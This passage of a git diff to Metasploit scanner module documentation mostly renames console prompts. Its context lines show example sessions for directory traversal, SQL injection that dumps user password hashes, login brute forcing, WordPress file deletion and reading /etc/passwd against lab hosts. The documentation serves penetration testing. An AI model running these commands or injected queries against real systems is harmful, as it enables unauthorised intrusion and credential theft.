in: /root/.msf4/loot/20191017033828_default_172.16.123.123_thinvnc.traversa_713640.txt [+] Found credentials: admin:admin [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed - msf5 auxiliary(scanner/http/thinvnc_traversal) > + msf auxiliary(scanner/http/thinvnc_traversal) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/title.md b/documentation/modules/auxiliary/scanner/http/title.md index e6c4af42f4bbe..5ed82c881705c 100644 --- a/documentation/modules/auxiliary/scanner/http/title.md +++ b/documentation/modules/auxiliary/scanner/http/title.md @@ -23,10 +23,10 @@ If set to `false`, will not store the captured information in notes. Use `notes ### Apache/2.4.38 inside a Docker container ``` -msf5 > use auxiliary/scanner/http/title -msf5 auxiliary(scanner/http/title) > set RHOSTS 172.17.0.2 +msf > use auxiliary/scanner/http/title +msf auxiliary(scanner/http/title) > set RHOSTS 172.17.0.2 RHOSTS => 172.17.0.2 -msf5 auxiliary(scanner/http/title) > run +msf auxiliary(scanner/http/title) > run [+] [172.17.0.2:80] [C:200] [R:] [S:Apache/2.4.38 (Debian)] LOCAL TESTING [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/http/totaljs_traversal.md b/documentation/modules/auxiliary/scanner/http/totaljs_traversal.md index c7b7c6ca4cf63..68702c7013e0d 100644 --- a/documentation/modules/auxiliary/scanner/http/totaljs_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/totaljs_traversal.md @@ -47,12 +47,12 @@ Affecting total.js package, versions: ### Tested on Total.js framework 3.2.0 and Total.js CMS 12.0.0 ``` -msf5 > use auxiliary/scanner/http/totaljs_traversal -msf5 auxiliary(scanner/http/totaljs_traversal) > set RHOST 192.168.2.59 +msf > use auxiliary/scanner/http/totaljs_traversal +msf auxiliary(scanner/http/totaljs_traversal) > set RHOST 192.168.2.59 RHOST => 192.168.2.59 -msf5 auxiliary(scanner/http/totaljs_traversal) > set RPORT 8320 +msf auxiliary(scanner/http/totaljs_traversal) > set RPORT 8320 RPORT => 8320 -msf5 auxiliary(scanner/http/totaljs_traversal) > run +msf auxiliary(scanner/http/totaljs_traversal) > run [*] Running module against 192.168.2.59 [*] Total.js version is: ^3.2.0 @@ -60,5 +60,5 @@ msf5 auxiliary(scanner/http/totaljs_traversal) > run [*] App description: A simple and powerful CMS solution written in Total.js / Node.js. [*] App version: 12.0.0 [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/totaljs_traversal) > +msf auxiliary(scanner/http/totaljs_traversal) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/trace.md b/documentation/modules/auxiliary/scanner/http/trace.md index 4c6f2ea8a3773..6823bc7afac39 100644 --- a/documentation/modules/auxiliary/scanner/http/trace.md +++ b/documentation/modules/auxiliary/scanner/http/trace.md @@ -26,15 +26,15 @@ these instructions (e.g. set `TraceEnable` to `on` for Apache). You can use this module on a single target or several targets. See below for single target usage: ``` -msf6 > use auxiliary/scanner/http/trace -msf6 auxiliary(scanner/http/trace) > set RHOSTS YYY.YY.YYY.YYY +msf > use auxiliary/scanner/http/trace +msf auxiliary(scanner/http/trace) > set RHOSTS YYY.YY.YYY.YYY RHOSTS => YYY.YY.YYY.YYY -msf6 auxiliary(scanner/http/trace) > set RPORT 443 +msf auxiliary(scanner/http/trace) > set RPORT 443 RPORT => 443 -msf6 auxiliary(scanner/http/trace) > set SSL true +msf auxiliary(scanner/http/trace) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 auxiliary(scanner/http/trace) > run +msf auxiliary(scanner/http/trace) > run [+] YYY.YY.YYY.YYY:443 is vulnerable to Cross-Site Tracing ``` diff --git a/documentation/modules/auxiliary/scanner/http/tvt_nvms_traversal.md b/documentation/modules/auxiliary/scanner/http/tvt_nvms_traversal.md index dc3b930f63f58..09609de9a2953 100644 --- a/documentation/modules/auxiliary/scanner/http/tvt_nvms_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/tvt_nvms_traversal.md @@ -18,14 +18,14 @@ This module exploits an unauthenticated directory traversal vulnerability which ### Tested against Windows 7 SP1 ``` -msf5 auxiliary(scanner/http/tvt_nvms_traversal) > set RHOSTS 192.168.43.152 +msf auxiliary(scanner/http/tvt_nvms_traversal) > set RHOSTS 192.168.43.152 RHOSTS => 192.168.43.152 -msf5 auxiliary(scanner/http/tvt_nvms_traversal) > run +msf auxiliary(scanner/http/tvt_nvms_traversal) > run [+] File saved in: /root/.msf4/loot/20191230124941_default_192.168.43.152_nvms.traversal_240600.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/tvt_nvms_traversal) > +msf auxiliary(scanner/http/tvt_nvms_traversal) > ``` ## References diff --git a/documentation/modules/auxiliary/scanner/http/vicidial_multiple_sqli.md b/documentation/modules/auxiliary/scanner/http/vicidial_multiple_sqli.md index 0ef1ab54b6bc6..3e0c4cbc625b1 100644 --- a/documentation/modules/auxiliary/scanner/http/vicidial_multiple_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/vicidial_multiple_sqli.md @@ -64,16 +64,16 @@ Username for the user to login with. Defaults to admin username of `6666`. ### ViciBox 9.0.3 - List Users - modify_email_accounts method ``` -msf6 use auxiliary/scanner/http/vicidial_multiple_sqli -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 +msf use auxiliary/scanner/http/vicidial_multiple_sqli +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword password => notpassword -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - modify_email_accounts method +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - modify_email_accounts method action => List Users - modify_email_accounts method -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run +msf auxiliary(scanner/http/vicidial_multiple_sqli) > run [*] Enumerating Usernames and Password Hashes [*] {SQLi} Executing (select group_concat(TXMlUAF) from (select cast(concat_ws(';',ifnull(user,''),ifnull(pass,'')) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn) @@ -97,16 +97,16 @@ vicidial_users ### ViciBox 9.0.3 - List Users - access_recordings method ``` -msf6 use auxiliary/scanner/http/vicidial_multiple_sqli -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 +msf use auxiliary/scanner/http/vicidial_multiple_sqli +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword password => notpassword -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - access_recordings method +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - access_recordings method action => List Users - access_recordings method -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run +msf auxiliary(scanner/http/vicidial_multiple_sqli) > run [*] Enumerating Usernames and Password Hashes [+] Dumped table contents: @@ -126,16 +126,16 @@ vicidial_users ### ViciBox 9.0.3 - List Users - agent_time_sheet method ``` -msf6 use auxiliary/scanner/http/vicidial_multiple_sqli -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 +msf use auxiliary/scanner/http/vicidial_multiple_sqli +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword password => notpassword -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agent_time_sheet method +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agent_time_sheet method action => List Users - agent_time_sheet method -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run +msf auxiliary(scanner/http/vicidial_multiple_sqli) > run [*] Enumerating Usernames and Password Hashes [+] Dumped table contents: @@ -155,16 +155,16 @@ vicidial_users ### ViciBox 9.0.3 - List Users - agentcall_email method ``` -msf6 use auxiliary/scanner/http/vicidial_multiple_sqli -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 +msf use auxiliary/scanner/http/vicidial_multiple_sqli +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword password => notpassword -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agentcall_email method +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agentcall_email method action => List Users - agentcall_email method -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run +msf auxiliary(scanner/http/vicidial_multiple_sqli) > run [*] Enumerating Usernames and Password Hashes [+] Dumped table contents: @@ -185,16 +185,16 @@ vicidial_users ### ViciBox 9.0.3 - List Users - user_stats method ``` -msf6 use auxiliary/scanner/http/vicidial_multiple_sqli -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 +msf use auxiliary/scanner/http/vicidial_multiple_sqli +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword password => notpassword -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - user_stats method +msf auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - user_stats method action => List Users - user_stats method -msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run +msf auxiliary(scanner/http/vicidial_multiple_sqli) > run [*] Enumerating Usernames and Password Hashes [+] Dumped table contents: diff --git a/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md b/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md index baec4816e6f0a..2612ecb477c98 100644 --- a/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md +++ b/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md @@ -179,7 +179,7 @@ Delay in seconds for SQL Injection sleep. Defaults to 1. ### ViciBox 11.0.1 ``` -msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run http://192.168.1.4 +msf auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run http://192.168.1.4 [*] Running module against 192.168.1.4 [*] Checking if target is vulnerable... diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_scanner.md b/documentation/modules/auxiliary/scanner/http/wordpress_scanner.md index fa9f53faedc35..09a2134cdfd00 100644 --- a/documentation/modules/auxiliary/scanner/http/wordpress_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/wordpress_scanner.md @@ -120,28 +120,28 @@ How often to print a prorgress bar while scanning for themes/plugins. Defaults Follow the Instructions above to setup the Docksal Containers. ``` -msf5 > use auxiliary/scanner/http/wordpress_scanner -msf5 auxiliary(scanner/http/wordpress_scanner) > set RHOSTS msf-wp.docksal +msf > use auxiliary/scanner/http/wordpress_scanner +msf auxiliary(scanner/http/wordpress_scanner) > set RHOSTS msf-wp.docksal RHOSTS => msf-wp.docksal -msf5 auxiliary(scanner/http/wordpress_scanner) > set VHOST msf-wp.docksal +msf auxiliary(scanner/http/wordpress_scanner) > set VHOST msf-wp.docksal VHOST => msf-wp.docksal -msf5 auxiliary(scanner/http/wordpress_scanner) > run +msf auxiliary(scanner/http/wordpress_scanner) > run [*] Trying 192.168.64.100 [+] 192.168.64.100 running Wordpress 5.2 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/wordpress_scanner) > +msf auxiliary(scanner/http/wordpress_scanner) > ``` ### Wordpress 5.4.2 with Plugin and Theme Enumeration, Exploitable True ``` -msf6 > use auxiliary/scanner/http/wordpress_scanner -msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts 192.168.2.144 +msf > use auxiliary/scanner/http/wordpress_scanner +msf auxiliary(scanner/http/wordpress_scanner) > set rhosts 192.168.2.144 rhosts => 192.168.2.144 -msf6 auxiliary(scanner/http/wordpress_scanner) > run +msf auxiliary(scanner/http/wordpress_scanner) > run [*] Trying 192.168.2.144 [+] 192.168.2.144 - Detected Wordpress 5.4.4 @@ -169,12 +169,12 @@ msf6 auxiliary(scanner/http/wordpress_scanner) > run ### Wordpress 5.4.2 with Plugin and Theme Enumeration, Exploitable False ``` -msf6 > use auxiliary/scanner/http/wordpress_scanner -msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts 192.168.2.144 +msf > use auxiliary/scanner/http/wordpress_scanner +msf auxiliary(scanner/http/wordpress_scanner) > set rhosts 192.168.2.144 rhosts => 192.168.2.144 -msf6 auxiliary(scanner/http/wordpress_scanner) > set exploitable false +msf auxiliary(scanner/http/wordpress_scanner) > set exploitable false exploitable => false -msf6 auxiliary(scanner/http/wordpress_scanner) > run +msf auxiliary(scanner/http/wordpress_scanner) > run [*] Trying 192.168.2.144 [+] 192.168.2.144 - Detected Wordpress 5.4.4 @@ -316,7 +316,7 @@ msf6 auxiliary(scanner/http/wordpress_scanner) > run [*] 192.168.2.144 - Progress 90000/91829 (98.0%) [*] 192.168.2.144 - Finished scanning plugins [*] 192.168.2.144 - Finished all scans -msf6 auxiliary(scanner/http/wordpress_scanner) > notes +msf auxiliary(scanner/http/wordpress_scanner) > notes Notes ===== diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.md b/documentation/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.md index 8c4698af97c86..7ab195f59690d 100644 --- a/documentation/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.md +++ b/documentation/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.md @@ -116,16 +116,16 @@ Try the username as the password for all users (default: `false`) Follow the Instructions above to setup the Docksal Containers. ``` -msf5 > use auxiliary/scanner/http/wordpress_xmlrpc_login -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal +msf > use auxiliary/scanner/http/wordpress_xmlrpc_login +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal RHOST => msf-wp.docksal -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set VHOST msf-wp.docksal +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set VHOST msf-wp.docksal VHOST => msf-wp.docksal -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin USERNAME => admin -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin PASSWORD => admin -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > run [*] 192.168.64.100:80 :/xmlrpc.php - Sending Hello... [+] 192.168.64.100:80 - XMLRPC enabled, Hello message received! @@ -133,7 +133,7 @@ msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run [+] 192.168.64.100:80 - Success: 'admin:admin' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > ``` @@ -144,19 +144,19 @@ You may see this message also, if you forgot to set the `VHOST` option. ``` -msf5 > use auxiliary/scanner/http/wordpress_xmlrpc_login -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal +msf > use auxiliary/scanner/http/wordpress_xmlrpc_login +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal RHOST => msf-wp.docksal -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin USERNAME => admin -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin PASSWORD => admin -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > run [*] 192.168.64.100:80 :/xmlrpc.php - Sending Hello... [-] XMLRPC is not enabled! Aborting [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > +msf auxiliary(scanner/http/wordpress_xmlrpc_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/wowza_streaming_engine_manager_login.md b/documentation/modules/auxiliary/scanner/http/wowza_streaming_engine_manager_login.md index c6c26c6b5a703..21e6b483456c5 100644 --- a/documentation/modules/auxiliary/scanner/http/wowza_streaming_engine_manager_login.md +++ b/documentation/modules/auxiliary/scanner/http/wowza_streaming_engine_manager_login.md @@ -39,14 +39,14 @@ The path to Wowza Streaming Engine Manager. ### Wowza Streaming Engine Manager Version 4.8.20+1 (build 20220919162035) on Ubuntu 22.04 ``` -msf6 > use auxiliary/scanner/http/wowza_streaming_engine_manager_login -msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set rhosts 192.168.200.158 +msf > use auxiliary/scanner/http/wowza_streaming_engine_manager_login +msf auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set rhosts 192.168.200.158 rhosts => 192.168.200.158 -msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set username user +msf auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set username user username => user -msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set pass_file data/wordlists/unix_passwords.txt +msf auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set pass_file data/wordlists/unix_passwords.txt pass_file => data/wordlists/unix_passwords.txt -msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > run +msf auxiliary(scanner/http/wowza_streaming_engine_manager_login) > run [+] 192.168.200.158:8088 - Found Wowza Streaming Engine Manager [-] 192.168.200.158:8088 - Failed: 'user:admin' @@ -56,7 +56,7 @@ msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > run [+] 192.168.200.158:8088 - Success: 'user:password' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > creds +msf auxiliary(scanner/http/wowza_streaming_engine_manager_login) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/wp_abandoned_cart_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_abandoned_cart_sqli.md index fda850a4af736..9f9bc7af63fe1 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_abandoned_cart_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_abandoned_cart_sqli.md @@ -77,7 +77,7 @@ resource (abandoned.rb)> run [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_abandoned_cart_sqli) > creds +msf auxiliary(scanner/http/wp_abandoned_cart_sqli) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.md b/documentation/modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.md index d8b038eb51b42..5471767553a84 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.md +++ b/documentation/modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.md @@ -18,18 +18,18 @@ WordPress <= 4.9.6 ## Scenarios ``` -msf5 > use auxiliary/scanner/http/wp_arbitrary_file_deletion -msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set VERBOSE true +msf > use auxiliary/scanner/http/wp_arbitrary_file_deletion +msf auxiliary(scanner/http/wp_arbitrary_file_deletion) > set VERBOSE true VERBOSE => true -msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RPORT 8000 +msf auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RPORT 8000 RPORT => 8000 -msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RHOSTS 127.0.0.1 +msf auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set PASSWORD xxx +msf auxiliary(scanner/http/wp_arbitrary_file_deletion) > set PASSWORD xxx PASSWORD => password1 -msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set USERNAME xxx +msf auxiliary(scanner/http/wp_arbitrary_file_deletion) > set USERNAME xxx USERNAME => techbrunch -msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > run +msf auxiliary(scanner/http/wp_arbitrary_file_deletion) > run [*] Checking if target is online and running Wordpress... [*] Checking access... @@ -39,4 +39,4 @@ msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > run [*] Deleting media... [+] File deleted! [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.md b/documentation/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.md index 62626d2075e44..38a4aa1c40bf0 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.md +++ b/documentation/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.md @@ -68,7 +68,7 @@ resource (bulletproof.rb)> run [-] /wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt not found on server or no data [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_bulletproofsecurity_backups) > creds +msf auxiliary(scanner/http/wp_bulletproofsecurity_backups) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/wp_chopslider_id_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_chopslider_id_sqli.md index 476d869503c56..86ccafba742cd 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_chopslider_id_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_chopslider_id_sqli.md @@ -66,7 +66,7 @@ resource (chopslider.rb)> run [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_chopslider_id_sqli) > creds +msf auxiliary(scanner/http/wp_chopslider_id_sqli) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/wp_dukapress_file_read.md b/documentation/modules/auxiliary/scanner/http/wp_dukapress_file_read.md index 3152806bd063d..edfbb4f23c7bc 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_dukapress_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/wp_dukapress_file_read.md @@ -120,12 +120,12 @@ Traversal Depth (to reach the root folder) (default: `7`) Follow the Instructions above to setup the Docksal Containers. ```` -msf5 > use auxiliary/scanner/http/wp_dukapress_file_read -msf5 > set RHOST msf-wp.docksal +msf > use auxiliary/scanner/http/wp_dukapress_file_read +msf > set RHOST msf-wp.docksal RHOST => msf-wp.docksal -msf5 > set VHOST msf-wp.docksal +msf > set VHOST msf-wp.docksal VHOST => msf-wp.docksal -msf5 > run +msf > run [*] Downloading file... diff --git a/documentation/modules/auxiliary/scanner/http/wp_duplicator_file_read.md b/documentation/modules/auxiliary/scanner/http/wp_duplicator_file_read.md index d20c68b190e8f..8b4c5eb658511 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_duplicator_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/wp_duplicator_file_read.md @@ -24,17 +24,17 @@ Vulnerable version: [duplicator.1.3.24.zip](https://downloads.wordpress.org/plug ### Ubuntu 20.04 running WordPress 5.6, Duplicator 1.3.26 ``` -msf5 > use auxiliary/scanner/http/wp_duplicator_file_read -msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/wp_duplicator_file_read +msf auxiliary(scanner/http/wp_duplicator_file_read) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set rport 8080 +msf auxiliary(scanner/http/wp_duplicator_file_read) > set rport 8080 rport => 8080 -msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set FILEPATH /etc/passwd +msf auxiliary(scanner/http/wp_duplicator_file_read) > set FILEPATH /etc/passwd FILEPATH => /etc/passwd -msf5 auxiliary(scanner/http/wp_duplicator_file_read) > set DEPTH 5 +msf auxiliary(scanner/http/wp_duplicator_file_read) > set DEPTH 5 DEPTH => 5 -msf5 auxiliary(scanner/http/wp_duplicator_file_read) > run +msf auxiliary(scanner/http/wp_duplicator_file_read) > run [*] Downloading file... diff --git a/documentation/modules/auxiliary/scanner/http/wp_email_sub_news_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_email_sub_news_sqli.md index fc64469c270bf..97e9d6ec45c6b 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_email_sub_news_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_email_sub_news_sqli.md @@ -35,14 +35,14 @@ The larger this list, the more time it will take. Defaults to `1`. #### List Users ``` -msf6 > use auxiliary/scanner/http/wp_email_sub_news_sqli -msf6 auxiliary(scanner/http/wp_email_sub_news_sqli) > set rhosts 2.2.2.2 +msf > use auxiliary/scanner/http/wp_email_sub_news_sqli +msf auxiliary(scanner/http/wp_email_sub_news_sqli) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf6 auxiliary(scanner/http/wp_email_sub_news_sqli) > set count 3 +msf auxiliary(scanner/http/wp_email_sub_news_sqli) > set count 3 count => 3 -msf6 auxiliary(scanner/http/wp_email_sub_news_sqli) > set verbose true +msf auxiliary(scanner/http/wp_email_sub_news_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/wp_email_sub_news_sqli) > run +msf auxiliary(scanner/http/wp_email_sub_news_sqli) > run [*] Checking /wp-content/plugins/email-subscribers/readme.txt [*] Found version 4.2.2 in the plugin diff --git a/documentation/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.md index 50a8274a4da4f..69531728b3759 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.md @@ -113,7 +113,7 @@ installation running **WP Fastest Cache <= 1.2.1** on a Docker environment with ### Step-by-step Scenario ```bash -msf6 auxiliary(scanner/http/wp_fastest_cache_sqli) > run http://127.0.0.1:5555 +msf auxiliary(scanner/http/wp_fastest_cache_sqli) > run http://127.0.0.1:5555 [*] Performing SQL injection via the 'wordpress_logged_in' cookie... [*] Enumerating Usernames and Password Hashes diff --git a/documentation/modules/auxiliary/scanner/http/wp_learnpress_c_fields_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_learnpress_c_fields_sqli.md index 6d27b464ec15f..bb8251da1f0ca 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_learnpress_c_fields_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_learnpress_c_fields_sqli.md @@ -120,7 +120,7 @@ The following scenario demonstrates an SQL injection attack against a WordPress ### Step-by-step Scenario ```bash -msf6 auxiliary(scanner/http/wp_learnpress_c_fields_sqli) > run http://127.0.0.1:5555 +msf auxiliary(scanner/http/wp_learnpress_c_fields_sqli) > run http://127.0.0.1:5555 [*] Performing SQL injection via the 'c_only_fields' parameter... [*] {SQLi} Executing (select group_concat(LKzEL) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) LKzEL from wp_users limit 1) ssrDlly) @@ -136,9 +136,9 @@ wp_users [+] Loot saved to: /home/chocapikk/.msf4/loot/20240920003917_default_127.0.0.1_wordpress.users_803563.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_learnpress_c_fields_sqli) > set action CVE-2024-8529 +msf auxiliary(scanner/http/wp_learnpress_c_fields_sqli) > set action CVE-2024-8529 action => CVE-2024-8529 -msf6 auxiliary(scanner/http/wp_learnpress_c_fields_sqli) > run http://127.0.0.1:5555 +msf auxiliary(scanner/http/wp_learnpress_c_fields_sqli) > run http://127.0.0.1:5555 [*] Performing SQL injection via the 'c_fields' parameter... [*] {SQLi} Executing (select group_concat(hhtd) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) hhtd from wp_users limit 1) mqRlJXbdH) diff --git a/documentation/modules/auxiliary/scanner/http/wp_learnpress_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_learnpress_sqli.md index 6299507f03584..0980a49f6ec99 100644 --- 